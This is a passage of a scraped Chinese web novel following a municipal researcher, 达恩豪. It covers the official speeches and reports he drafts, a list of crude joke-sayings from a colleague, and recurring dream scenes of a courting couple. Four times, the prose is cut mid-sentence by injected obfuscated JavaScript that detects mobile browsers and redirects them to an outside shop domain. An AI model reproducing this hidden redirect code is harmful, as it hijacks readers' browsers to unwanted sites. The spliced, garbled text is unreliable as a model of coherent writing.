这小伙儿磨擦完了这美女右过的秀发和香耳，喘一口气，把头颈一转，换过来，再磨擦这美女右过的秀发和香耳。 这甜蜜和幸福就在一对年轻男女的发稍和耳朵上不停地传递，不停地交流，不停地融合为一体！爱的交融，爱的一体！ …… 第二天在单位上班时间，达恩豪忙碌了一整天，终于把去年新亚欧大陆桥国际研讨会上的材料，汇总整理完了。这第一份材料的具体内容如下： “在宴请2007新亚欧大陆桥区域经济合作国际研讨会 联.合.国代表、国家部委领导、参会城市市长 欢迎酒会上的致辞 ……河陇省委常委、滨河□□沈…… （2007年7月2日） 尊敬的各位领导、各位来宾， 女士们、先生们、朋友们： 盛夏的滨河，瓜果飘香，景色宜人。在这最美好的季节，2007新亚欧大陆桥区域经济合作国际研讨会明天将要在滨河隆重开幕。借此机会，我代表……滨河市委、滨河市政府，对各位领导、各位嘉宾的到来表示热烈的欢迎！对为举办这次会议精心组织安排，付出辛勤努力的联合国开发计划署官员、国家商务部、信息产业部、新亚欧大陆桥国际协调机制的各位领导，支持和协助我们共同办好会议的沿线城市各位市长先生，以及各大媒体、新闻界的朋友们表示崇高的敬意和衷心的感谢！ 新亚欧大陆桥是一条友谊之桥，经济合作之桥，也是沿线国家和城市共同发展之桥。华夏国政府和联.合.国开发计划署，多年来携手合作，共同打造的“新亚欧大陆桥区域经济合作国际研讨会”这一平台，已经越来越多地引起了世界尤其是亚欧有关国家对参与新亚欧大陆桥建设的关注和支持，成为具有鲜明特色，探索区域经济合作的重要方式之一，在推动亚欧经济扩大合作的伟大进程中发挥着应有和重要的作用。本次在滨河召开的研讨会，在联.合.国和国家有关部委的大力支持和帮助下，本着进一步促进新亚欧大陆桥区域经济合作的一贯宗旨和原则精神，将积极为沿桥城市合作交流、共商发展提供便利和条件，创造更多的合作发展机遇。相信通过此次研讨会，必将为沿桥地区的经济社会发展规划新的蓝图，推动和促进新亚欧大陆桥沿线城市进一步合作，并有望产生新的合作方式和开发热点，大力推动旅游经济和现代信息物流业的发展。 “有朋自远方来，不亦乐乎！”热情好客的滨河人民欢迎各位领导、各位嘉宾的到来，我们将为这次盛会提供最热情、最优质的服务。我们也衷心期盼，各位领导、各位专家学者在滨河考察学习期间，对滨河的城市建设发展，对我们的工作留下宝贵的意见和建议。我们相信，在与会各方的共同努力下，这次研讨会一定会取得圆满成功，滨河与沿桥城市之间的友谊一定会与日俱增，陆桥合作一定会结出丰硕的成果！ 现在我提议，为本次研讨会的胜利召开，为我们的合作发展和各位嘉宾的身体健康，干杯！” 达恩豪今天汇总整理的第二份材料，具体内容如下： “在2007新亚欧大陆桥区域经济合作 国际研讨会欢迎酒会上的祝酒辞 河陇省省长助理、滨河市市长常……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407453|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > (2007年7月3日) 尊敬的各位领导、各位来宾， 女士们、先生们、朋友们： 值此“2007新亚欧大陆桥区域经济合作国际研讨会”召开之际，我们有幸邀请到与会的各位领导和嘉宾朋友欢聚一堂，畅叙友谊，共谋发展。首先，我代表本次会议的举办城市，对各位嘉宾的光临表示热烈欢迎和衷心的感谢！对长期以来给予滨河多方面关心和支持表示诚挚的谢意！ 滨河地处西北腹地，是古丝绸之路的商埠重镇和新亚欧大陆桥的重要通道，历史文化悠久，比较优势明显，是一座富有魅力和充满希望的城市。此次研讨会承蒙联.合.国开发计划署、国家有关部委和沿桥城市的大力支持，在河陇滨河隆重召开，既为我们弘扬丝路精神、学习各地经验、扩大对外开放提供了难得的机遇，也为沿桥国家和地区了解滨河、认识滨河开辟了窗口，为增进友谊、形成共识搭建了平台，对深化沿线城市合作与发展，推动陆桥区域经济带建设必将产生重大而深远的影响。 新亚欧大陆桥是一座友谊之桥、发展之桥和希望之桥。多年来，在联.合.国开发计划署和新亚欧大陆桥国际协调机制的积极倡导下，通过举办多种主题的研讨会及经贸促进活动，有力推动了沿桥国家和地区的合作与交流。加快陆桥经济带建设、重振丝绸之路辉煌，是沿线城市的共同愿望。我们相信，在联.合.国开发计划署、国家有关部委、沿桥城市和有关方面的共同努力下，此次研讨会及系列活动一定会取得圆满成功，陆桥沿线城市的交流与合作一定会结出丰硕的成果！ 最后，我提议：为我们的合作与友谊，为沿桥城市的美好未来，为各位嘉宾的身体健康，干杯！” …… 达恩豪下午下班回家，在家里吃完晚饭，老婆黄爱佳麻利地洗锅涮碗，收拾了厨房，正陪着老婆一块坐家里的三人沙发上，看新闻联播，突然感觉右大腿震动了一下，仿佛还听再了“滴滴滴”的手机来信息的声音。 他赶紧从裤兜里掏出自己的手机，点亮解锁，打开一看，是有人发来了一条微信，不是有人打电话，非常短暂的电话。 “是谁呀，小达你看啥呢？”老婆黄爱佳看达恩豪不好好看电视节目，刷手机，看信息，就没话找话，有点关切地这样问道。 “又是老巴发来的一条微信！”达恩豪赶紧再点开微信一看，果真是本单位大腮帮子巴其平发来的一条微信，然后这样回答老婆黄爱佳一句道。 又是一条文字段子，50多节的段子，还挺长的，内容是这样的： “1.钱不是问题，问题是没钱； 2.钻石恒久远，一颗就破产； 3.水能载舟，亦能煮粥； 4.一山不能容二虎，除非一公和一母； 5.火可以试金，金可以试女人，女人可以试男人； 55. 第 55 章 第五十五章修改规划 6.烧香的不一定是和尚，还可能是熊猫； 7.喝醉了我谁也不服，我就扶墙； 8.我就像一只趴在玻璃上的苍蝇，前途光明，出路没有； 9.问世间情为何物？一物降一物； 10.走别人的路，让别人无路可走； 11.有钱男子汉，没钱汉子难； 12.不是路不平，只是你不行； 13.当叫别人爷的时候，以前也他么当过孙子； 14.不怕神一样的敌人，就怕狗一样的哥们； 15.接触的人越多，我越喜欢狗； 16.天黑路滑社会复杂； 17.在你和我提高嗓音的同时，别把自己整再见了； 18.你知道我长短，我知道你深浅； 19.逼是一样的逼，脸上见高低； 20.女人长得漂亮，不如活得的漂亮； 21.男人能征服世界，女人能征服男人； 22.亲情友情感情爱情，为什么情字都在最后，因为走到最后才是真正的情； 23.喝醉了，我谁也不服，我就扶墙； 24.我就像一只趴在玻璃上的苍蝇，前途光明，出路没有； 25.避孕的效果：不成功便成人； 26.你不能让所有人满意，因为不是所有的人都是人； 27.男人的谎言可能骗女人一夜，女人的谎言可能骗男人一生； 28.不要吹牛逼，请把它还给牛，因为牛也需要过性生活； 29.小时候我们把玩具当朋友，长大了朋友把我们当玩具； 30.别把你一个月的工资拿来挑战我的零花钱； 31.人的一生就像是在拉粑粑，有时候你已经很努力了，可出来的却只是一个屁； 32.大喜大悲看清自己，大起大落看清朋友； 33.有老公又怎么样，有守门员球不照样进吗，谁是谁老公，都他么临时工； 34.男人在结婚前总觉得适合自己的女人很少，结婚后总觉得适全自己的女人很多； 35.女人要是不整事，男人永远不差事； 36.怀才就像怀孕，时间长就看出来了； 37.要想人前显贵，就得背后受罪； 38.我不是有钱人的后代，但我努力作有钱人的祖先……” “哼哼哼！”巴其平不知从那儿找上的段子，达恩豪越往后面看，越失笑，越失笑，越往后面看，一口气就看完了，最后竟然嘿嘿嘿地这样笑个不停，笑得眼泪花花在眼眶里转圈圈儿！ 在单位上班时间，正在搞课题材料，也不能大声笑，更不敢哈哈哈地放声狂笑，只能隐忍着压抑而低声地偷着乐，窃笑！ 笑完了，达恩豪收回笑容，在这微信段子下面，给巴其平回过去一条微信，竖了大拇指的三个表情图标，连续点了三个赞。然后，一本正经地继续弄课题报告材料，接着又忙乎起工作来。 …… 达恩豪下午下班回家，和老婆黄爱佳一齐吃过晚饭，一块儿看完了电视，上床休息，不一会儿就迷糊着睡着了…… 这是在熟悉的小县城的大街道上，在路灯稀疏的神秘下面，在灯光昏暗的暧昧里，有一双孤独的青年男女，像一个人一样地纠缠在一起，站在这空旷的人行道上，沓无人影的大街上。 拥抱着的一对年轻男女，在这昏暗的灯光与夜色里，这时，相拥相爱抚，耳鬓厮磨，不觉已过好几分钟，甜蜜幸福的时光总是易逝，总是短暂。 这美女和这小伙儿相互箍抱着，分不清是她拥抱着他，还是他拥抱着她。 这小伙儿像小孩子找母亲的奶吃一样，低头转动着，在搜寻着什么，嘴唇在这美女的香脸上停住了，就像吸铁一样粘贴上去。 这小伙儿双唇轻轻地亲到了这美女的脸蛋上，甜蜜和幸福从嘴唇像电流一样，迅速遍了自己的全身每一寸肌肤，每一滴血液，每一块骨头，每一根毛发，每一个细胞！ 这美女不知是被这小伙儿的刚刚的动作，轻轻亲她的脸颊，先是有所震惊，然后就陶醉在甜蜜和幸福之中。 这美女深深地呼吸，闭眼体验，甜蜜和幸福从嘴唇像电流一样，迅速遍了自己的全身每一寸肌肤，每一滴血液，每一块骨头，每一根毛发，每一个细胞！ 这小伙儿还不过瘾，又微微抬起头来，一转头颈，热烈的双唇就轻轻地亲到了这美女的另一个脸蛋上了。甜蜜和幸福又一次，从嘴唇像电流一样，迅速遍了自己的全身每一寸肌肤，每一滴血液，每一块骨头，每一根毛发，每一个细胞！ 这美女闭眼体验，没有反应过来，这小伙儿热烈嘴唇的暂时离开，就感觉到另一边的脸上被这小伙儿热烈的双唇亲上了。甜蜜和幸福又一次，从嘴唇像电流一样，迅速遍了自己的全身每一寸肌肤，每一滴血液，每一块骨头，每一根毛发，每一个细胞！ 不过才不到一分钟，这小伙儿就急不可耐了，继续寻找着什么一样，双唇微微抬起，慢慢地滑向，这美女的小小的嘴唇而去，两个人的嘴唇就粘贴在了一起！ 这小伙儿感觉到这美女的小小的嘴唇，无比的甜蜜闭上双眼，多么的幸福尽情体验。甜蜜和幸福又一次，从香唇到嘴唇，像电流一样，迅速遍了自己的全身每一寸肌肤，每一滴血液，每一块骨头，每一根毛发，每一个细胞！ 这美女感觉到这小伙儿的嘴唇，是那么的有力，那么的阳刚，无比甜蜜地闭着双眼，多么幸福的陶醉其中。此刻，甜蜜和幸福又一次，从大唇到小唇，像电流一样，迅速遍了自己的全身每一寸肌肤，每一滴血液，每一块骨头，每一根毛发，每一个细胞！ 在这宁静而充满着暧昧的夜晚里，一切都像凝固了一样。这时，甜蜜就凝固在了这俩个青年男女的双唇间，幸福就凝固在了这俩个青年男女的双唇间，连时间也凝固在了这俩个青年男女的双唇间！ 在这昏暗而充满暧昧的灯光下，一切都是多情的详和的。此刻，在这俩个年轻异性的嘴唇与香唇间，传递的甜蜜是多情的详和的！在这俩个年轻异性的小嘴与大唇间，传递的幸福是多情的详和的！在这俩个年轻异性的双唇之间，就连凝固的时间也是多情的详和的…… …… 紧紧张张干了快一星期时间了，达恩豪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414161|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汇总校对修订整理，去年召开的新亚欧大陆桥国际研讨会上的八份材料，全都交给金学盛主任审核定稿了，再交给单位办公室存档，这个差事就算圆满地完成了。 第二天，达恩豪在单位上班，正在电脑上搞一个课题材料，一会上网浏览资料，一会又敲键盘，拉鼠标点鼠标的忙碌，永远写不完的材料，干不完的活儿，生命不息，材料不止，工作没完。 “铛铛铛！”达恩豪闻声抬头向右看，敲几下大开着的经济发展研究处的房间门，随后走进来办公室的一名女同志，一身黑到底的年轻人。 她走到达恩豪办公室旁边停下了，对达恩豪边递上一份文件，边这样微笑着说道：“达处长有份文件，请你查收。”这名黑发黑脸黑衣裤黑皮鞋的青年女孩，就是覃思星。 “好的。”达恩豪坐着不动，就一伸手距离，一边接过文件，一边笑着对覃思星这样回答道。脾气历来就很好，对谁都是笑脸相迎，笑脸相送的，特别的善良。 喜欢穿一身黑的青年覃思星，送完了材料，两手空空，一身轻松，转身不紧不慢地走出了这间办公室，回单位秘书处的办公室房间去了。 “事儿又累给了，材料又来了。不过还好，就是个小材料，小菜一碟了！”达恩豪等目送走了覃思星，才仔细看这文件，感觉有点份量，原来是一个发函请相关部门单位提修改意见的红头文件，后面附了文本。他先是一惊，再一皱眉发悉心，最后又轻松这样一说。 虽然，给送来的材料，文本，规划啦，意见啦，方案啦等，一般都是什么讨论稿啊，什么征求意见稿啊等，要求得出修改意见和建议。滑头一点的同事为了省事，多一事不如少一事，都是同意，不提任何意见，没有意见建议，或是大唱赞歌，应付一下，就算完事。这很正常，领导也找不了任何毛病，挑不出任何的问题来。 但是，放达恩豪这儿就不行了，老实人就是这样，特别的认真，特别的负责，再怎么着，挖空心思，搜肠刮肚，焦头烂额，熬灯费人，都要提出自己的几条修改意见和建议来。 正因为这样，领导一直把这种任务也经常交给达恩豪干，其他人不放心，这也是代表单位形象的事情，只有领导和像达恩豪这样认真的下属才这样认为。 达恩豪认真阅读文本，用了一天的时间，半天翻阅研究分析，半天起草修改意见建议。他记得，这篇修改意见建议的具体内容如下： “关于对《滨河市深化企业改革与加快 发展规划》的修改意见 滨河市政府研究室 （2008年4月24日） 《滨河市深化企业改革与加快发展规划》（以下简称《规划》）紧密结合滨河市经济社会发展实际，将……贯穿于深化企业改革与加快发展的各个方面，客观公正的总结分析了目前我市企业改革的现实基础和发展环境，提出的指导思想、基本原则、战略步骤和发展目标符合实际，确定的重点任务和保障措施切实可行，对我市未来六年深化企业改革与加快发展具有重要的指导作用。《规划》思想正确，思路清晰，观点鲜明，言语简练，结构完整，逻辑严谨。为更加完善，现对《规划》提出三点修改意见： 56. 第 56 章 第五十六章侦察地形 一、作为规划，第一部分关于现实基础的表述过于简单，篇幅不够，建议进一步充实，补充我市国有企业‘无震荡’改革‘滨河模式’取得的成效和产生的效应等内容。 二、随着改革的深入，改制重组企业所暴露出的主要矛盾和矛盾的主要方面都在不断发生变化，因此，做好新形势下的矛盾调处工作，切实维护企业和社会稳定显得尤为重要。建议在《规划》第四部分保障措施中加入‘做好维护企业和社会稳定工作’的内容。 三、在文字表述上，部分地方需进一步斟酌。如：P2倒数第二行‘正在建成’应为‘正在建设’；P2最后一行‘北大川空港经济园’应为‘滨河空港循环经济产业基地’；P3第一行‘构建了优良的硬件基础’改为‘搭建了有利平台’为宜；P8第二条‘培植’改为‘培育’为宜。” 一看达恩豪就是写材料的高手，老手。首先，肯定了这个《规划》文本，提交部门是做了大量艰苦细致的工作，把这材料的优点，亮点，闪光点提出来，赞赏一番。然后，为了更加完善升华这个《规划》材料，提出以下修改意见和建议。最后，提出的修改意见和建议，既要有宏观方向，如思想，思路，观点，结构，逻辑等的修改意见建议，又要有微观的方面，具体到文本的段落，句子，修辞，文字，标点，格式等的修改意见和建议。 “报！”金学盛主任伏案看完后，脸色非常满意地在这清样稿上，第一页右上左空白处，批示了这样一个字。然后，下面再写上自己的大名金学盛和今天的时间年月日。达恩豪像拿了圣旨一样，去单位办公室例行公事，套上文件红头，打印好几份，再盖上大印，鲜红的单位公章，最后，打发办公室一名人员，把这份材料送到文本提交部门去了。 经过四个多月的努力，加班加点，有空就查资料，分析研究，总结思考，在电脑上打字编写，达恩豪主笔撰写的一个课题材料，是一个大课题材料，今天终于完成了。这个课题材料共写了近60页，大约3.1万多字内容，包括了10个大的方面问题。材料太专业了，技术性也太强，正文具体内容，详细的大家也不爱看，没有时间看，就简要介绍如下： “滨河循环经济研究 ……要大力发展循环经济，最近中央指出要建设节约型社会，这为我们滨河的经济社会发展指明了方向和道路。……‘要加快转变经济增长方式，将循环经济的发展理念贯彻到区域经济发展、城乡建设和产品生产之中，使资源得到最有效的利用。最大限度的减少废弃物的排放，逐步使生态步入良性循环’。发展循环经济，建设资源节约型和环境友好型社会，是全面贯彻落……构建……的重要途径，也是我们一项长期而艰巨的任务和重大研究课题。 ……全面贯彻落实……必须加快转变经济增长方式，我国土地、淡水、能源、矿产资源和环境状况对经济发展已构成严重制约。要把节约资源作为基本国策，发展循环经济，保护生态环境，加快建设资源节约型、环境友好型社会，促进经济发展与人口、资源、环境相协调。推进国民经济和社会信息化，切实走新型工业化道路，坚持节约发展、清洁发展、安全发展，实现可持续发展。发展循环经济，是建设资源节约型、环境友好型社会和实现可持续发展的重要途径。坚持开发节约并重、节约优先，按照减量化、再利用、资源化的原则，大力推行节能节水节地节材，加强资源综合利用，完善再生资源回收利用体系，全面推行清洁生产，形成低收入、低消耗、低排放和高效率的节约型增长方式。积极开展和推广资源节约、替代和循环利用技术，加快企业节能降耗的技术改造，对消耗高、污染重、技术落后的工艺和产品实行强制性淘汰制度，实行有利于资源节约的价格和财税政策。在冶金、建材、化工、电力等重点行业以及产业园区和若干城市，开展循环经济试点，健全法律法规，探索发展循环经济的有效模式。强化节约意识，鼓励生产和使用节能节水产品、节能环保型汽车，发展节能省地型建筑，形成健康文明、节约资源的消费模式。 一、循环经济的概念和范畴 （一）循环经济的定义…… （二）循环经济的本质和特征…… 二、发展循环经济的背景分析 (一)我国发展循环经济的国内外背景 …… ——环境污染十分严重…… ——生态破坏问题突出…… ——未来发展面临更加严峻的挑战…… (二)滨河发展循环经济的背景…… ——滨河土地资源稀缺，土地供需矛盾突出…… ——滨河资源、原材料外向依存度大，以重化工业为主的工业对能源构成巨大需求，资源环境的压力很大…… ——滨河生态及环境现状不容乐观…… (三)发展循环经济的前景与市场定位 1.原材料反复利用，提高利用率，降低物耗，实现可持续发展…… 2.重复循环利用能源，不断降低能耗，开发利用可再生清洁新能源，优化能源结构…… 3.开发推广‘中水’重复循环利用和节地绿色建筑技术，节约用水用地潜力巨大…… 4.降低成本，提高经济运行的质量和效益…… 5.推广清洁生产，保护生态环境…… 6.促进技术进步，转变经济增长方式…… 三、我国和我市循环经济发展的现状 (一)我国循环经济的发展经历了三个阶段 第一阶段…… 第二阶段…… 第三阶段…… (二)兰州循环经济发展的现状…… 四、国外发展循环经济借鉴 （一）各国循环经济发展趋势 1.日本…… 2.德国…… 3.美国…… 4.欧盟…… （二）国外发展循环经济的主要模式 当今世界循环经济主要模式有四种： 1.杜邦模式——企业内部的循环经济模式…… 2.工业园区模式…… 3.德国DSD——回收再利用体系…… 4.日本的循环型社会模式…… 四、发展循环经济的基本优势、有利条件和机遇 （一）发展循环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422676|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经济的实力比较雄厚…… （二）农业结构向循环经济加快调整…… （三）环保基础设施建设和环境保护长足发展…… （四）生态建设取得新的进展…… 五、发展循环经济存在的主要问题、不利因素和困难 1.企业规模小，发展循环经济缺乏规模支撑…… 2.尚未形成适合区域性循环经济网络发展需要的经济机制和政策体系…… 3.经济调控措施与循环经济发展之间缺乏一致性…… 4.尚未形成适合循环经济发展的制度体系和运行机制…… 5.尚未建立起基本的物质流量表，对于企业和地区进行循环经济管理缺乏基本的数据信息…… 6.对于发展循环经济还没有明确的优先领域的产品目录…… 7.产业的关联度和集群度较低…… 六、发展循环经济的总体思路 (一)指导思想…… (二)具体方针…… (三)坚持原则…… (四)发展循环经济的层次定位…… 1.企业层面（小循环）…… 2.园区或行业层面（中循环）…… 3.社会层面（大循环）…… (五)发展目标…… 七、发展循环经济的战略重点 ……全力实施六个突破，实现六个良性互动。(一)在调整经济结构上重点突破，实现经济增长速度与结构、质量、效益良性互动……(二)在解决‘三农’问题上重点突破，实现城乡发展的良性互动。(三)在调整生产力布局上重点突破，实现区域经济的良性互动。(四)在加大社会投入上重点突破，实现经济与社会的良性互动。(五)在生态环境建设上重点突破，实现人与自然的良性互动。(六)在扩大经济外向度上重点突破，实现自主发展与对外开放促发展的良性互动。 具体是构建滨河特色四大产业链。（一）构建煤油气—合成材料—精细化工产业链…… （二）构建煤电—冶金—新材料产业链…… （三）构建材料—零部件—装备制造产业链…… （四）构建农产品—初加工—医药食品产业链…… 八、循环经济循环圈和产业链规划 （一）石化工业 1.拉长石（原）油炼化工业产业链条…… 2.发展绿色精细化工产业，走适度轻精化的新型工业化道路…… 3.化工产品精深加工和再循环利用…… （二）冶金工业…… 1.大力发展铝精深加工、系列化产品开发和关联产业…… 2.大力发展节能环保的黑色冶金工业…… 3.大力开发钢渣、粉煤灰的回收加工利用产业…… 4.大力推广余热和中水的循环利用…… （三）机电工业 1.围绕国家提高工业装备和加快重大设备国产化的战略实施，着重调整企业组织结构、产品结构…… 2.大力开发水电、垃圾发电、风能、太阳能等清洁、环保、再生性能源产业…… 57. 第 57 章 第五十七章提线木偶 （四）建材工业 1.围绕国家建材工业‘控制总量，调整结构’的总体要求…… 2.水泥工业重点发展新型干法窑外分角生产线…… （五）轻工食品 1.对现有企业进行提高产品档次，增加技术含量…… 2.大力发展具有我省特色的轻纺工业…… 3.大力发展生物医药工业。一是着力培植生物技术制药业……二是利用西部地区中草药资源，发展科技含量高，疗效好的中成药新药，发展现代中药产业……三是发展化学药及中间体原料，医疗器械及医用包装…… 4.大力发展乳品、饮料、食品及特色农产品的加工…… 5.烟草工业要重点抓好滨河卷烟厂30万箱迁建工程…… （六）农业 1.大力发展城郊型农业，推广特色、节水、生态、高效农业…… 2.调整优化农业结构…… 3.加强具有区域优势和地方特色的支柱产业，突出建设‘一带三区’农产品基地…… 4.大力发展农产品精深加工龙头企业，以产业化经营延展产业链…… 5.大力发展生态循环农业经济…… （七）旅游业…… (八)商贸服务业…… 1.突出建设‘一区一带一圈’，强化服务业功能分区…… 2.提升服务业的层次…… 3.优先发展现代流通业…… 4.积极开拓农村市场…… （九）资源回收和再利用、再循环 1.建立利用立法、政策和投资引导等措施和办法，推动逐步形成废物分类回收循环利用体系…… 2.实行农副产品清洁进城，减少城市生活垃圾…… 3.大力开展集中供热和连片采暖…… 4.推广城市污水和屋顶水的循环再利用技术…… 九、发展循环经济的环境治理规划…… 1.加快生态建设…… 2.加强黄河滨河段水污染综合治理…… 3.大力推广城市楼顶绿化…… 4.加强环境治理保护…… 5.预防地质灾害和加强矿山安全生产管理…… 十、发展循环经济的对策建议与保障措施 (一)发展循环经济的对策…… 1.进行适合循环经济发展的制度创新…… 2.大力支持非公有制经济参与循环经济和生态滨河的建设…… 3.选择发展循环经济的优先领域…… 4.必须建立一套新的循环经济理论体系，并使之深入人心，发展循环经济才能得到公众的理解和支持…… 5.将发展循环经济的政策纳入到宏观体系调控之中，使之与其他政策相配套…… 6.技术创新在循环经济发展中具有十分重要的地位…… 7.加强环境和资源监测的科学化、信息化和网络化…… (二)发展循环经济的保障措施 1.开展理论研究，编制发展规划，加强宣传引导…… 2.大力示范微观循环经济试点，在企业内部建立小循环…… 3.大力推广中观循环经济系统，在行业建立线上的中循环…… 4.大力发展宏观循环经济体系，在社会领域建立面上的大循环…… 5.实行目标管理考核，推进重点任务落实…… 6.加快立法建设，依法推进循环经济发展。建立与发展循环经济相适应的法律法规…… 7.完善制度保障，促进循环经济经常化、规范化建设。建立健全推进生态城市建设保障体系…… 8.健全政策激励机制，推动循环经济逐步向高档次、高水平迈进…… (三)建议国家和省市给予政策扶持 1.以国家财政转移支付和优惠政策启动循环经济开发…… 2.设立循环经济发展基金…… 3.建议设立‘循环经济开发区’、‘生态经济示范区’、‘生态工业示范区’、‘生态农业示范区’、‘生态旅游示范区’、‘生态科技博览园’和‘生态文化展览馆’等。 4.发展循环经济产业与企业减免、抵扣或返还增值税和污水处理费、资源税。 5.发展循环经济产业与企业用地，纳入全市国民经济和社会发展中长期及年度总体规划，优先安排，实行政策倾斜。” …… 达恩豪坚持不懈，几个月人时间里，除了单位领导交办的工作任务，按时保质保量完成，这不又很像银行的“零存整取”，把个说大不大，说小不小的课题项目给弄出来了。很有一种成就感。 下午下班走在路上，心里感觉非常自豪，有一种满足感，也有一种荣誉感，心里畅快，精神清爽，走起路来是脚下生风，觉得很带劲的。 他心里想，这搞课题不是个简单的事儿，不是个容易的活儿，不是个好干的工作。那是个复杂得系统工程，比较难弄，或者说是个不好干的事情。一般的人都搞不了，有些人想搞，没有那人能力，有些人想搞，能力也有，但是太滑头了，嫌耗时费力，嫌吃力不讨好，也不轻意接课题项目，这个任务躲着，避着不沾边，不干。 达恩豪嘴里哼唱着不上调的流行歌曲，就在公园绕，大桥上行，人行道上穿，进小区上自家单元楼，开锁进屋，心情不错，轻松愉快地回到家中。 和老婆黄爱佳一齐吃晚饭，看新闻联播，看完电视剧，躺在床上休息，心里不想事，不一会儿就睡着了…… 这小伙儿今天下午下班，就从单位骑自行车出来，心情好，骑自行车快，三拐两拐，下坡直行，下坡上坡，进了小县城，不一会，就到了最繁华的中心街区。 原来一个村子的地盘儿，现在街道两边建了一些楼房，满打满算小几千人的一个小县城，就城中间一条国道的大街道，再就有几条死胡同的小巷。早晨，中午，傍晚，这三个时段，是人流高峰期，大街上才能看得见一些稀稀拉拉的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14433963|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大都是上下班的县属部门单位的干部职工。平时，就是些到县城购物，办事的人，所以，大街上人很少。 这小伙儿眼睛右瞧，瞅个前后无汽车的空档，横穿马路而过，往前不远处，看见一个水泥柱子，铁栅栏的大门敞开着，放慢速度，跳下自行车，没走几步远，一拐弯就推着自行车进了这铁栅栏敞开的大门，在里面大院里，继续推自行车往西北角走，就来到了这美女的家门口了。 支起车承子，锁车，收钥匙，停好了自行车，这小伙儿登上一溜东西平房门前的水泥台阶，熟练地敲一扇门，看门开着就进去了。 开门迎接这小伙儿的，正是这美女。这美女把晚饭刚做好，把菜端上桌，正盛好饭的时候，这美女的爸爸也来了，这美女的大妹妹也来了，四个人一齐开始吃饭了。 这小伙儿不好意思，端着碗在里间里吃，这美女也端了碗饭进套间，陪着这小伙儿吃饭。 这美女的在妹子抢着去洗锅涮碗，这美女就拿了她父亲的一串钥匙链，引着这小伙儿出门。 外面天时已麻黑了，街道上的路灯已亮了。俩人一前一后走着，并不下平房前面的水泥台，而是向西头走去。没走多远，就到了门头挂“副经理室”牌子的一间办公室门前，站停了，拿起这串钥匙，低头挑了一把来，开锁，拉亮灯，俩人进了这房间里，关上了房门。 俩个人今天晚上的恋爱启动了。这小伙儿心血不潮，性子也猴急猴急的，马上就蹭到这美女身边，把这美女一双玉手一拉，乘势就这玉人一般的美女揽进了自己的怀抱。这时，俩个人就卿卿我我的腻歪在了一起！ 这美女天天晚上和这小伙儿拉手，拥抱，都习惯了，业务也熟练了，自动配合着这小伙儿，一同体验这甜蜜幸福温馨的好时光！ 这小伙儿激情燃烧，把这美女环抱得紧紧的，轻轻抚摸着这丰富玉女的后背，这美女也轻轻抚摸这血气方刚小伙儿的后背，俩个人像抱团取暖一样，相互感受这甜蜜幸福温馨的分分秒秒！ 不久，情不自禁，两个人的嘴唇就对接在了一齐，这小伙儿吸吮着，这美女情不自禁地闭实了细眉长眼，任凭这小伙儿大嘴唇，用情地去亲吻自己的一双小香唇。 这一对青年男女忘乎所以的亲吻，激动，兴奋，陶醉，浑身都在微微地颤抖着，无比的甜蜜幸福，在这一双异性年轻人的双唇和颤抖之间传递，放大，漫延开来！ 这小伙儿的不知道什么时候就不安分了起来，从这美女的后背，滑到了脖子上，一只手不老实地想伸进领口去。 突然，这美女猛然睁开了细眉长眼，同时，一只手立即从这小伙儿的背后迅速抽回来，“啪！”一把就把这小伙儿的这只贼手就给攥住了。 “小达，老实点，你想干什么？”这美女清醒过来，推开这小伙儿，长眉细眼一瞪，嗔怒道。 “没什么，侦察地形！”这小伙儿脸红着，死皮赖脸地拉上这美女的双手，这样坏坏地回答道。 “坏家伙！”这美女惋一眼这小伙儿，握着这小伙儿的双手，嗔怒地笑骂道。 58. 第 58 章 第五十八章投标失败 “哐哐哐！”…… …… 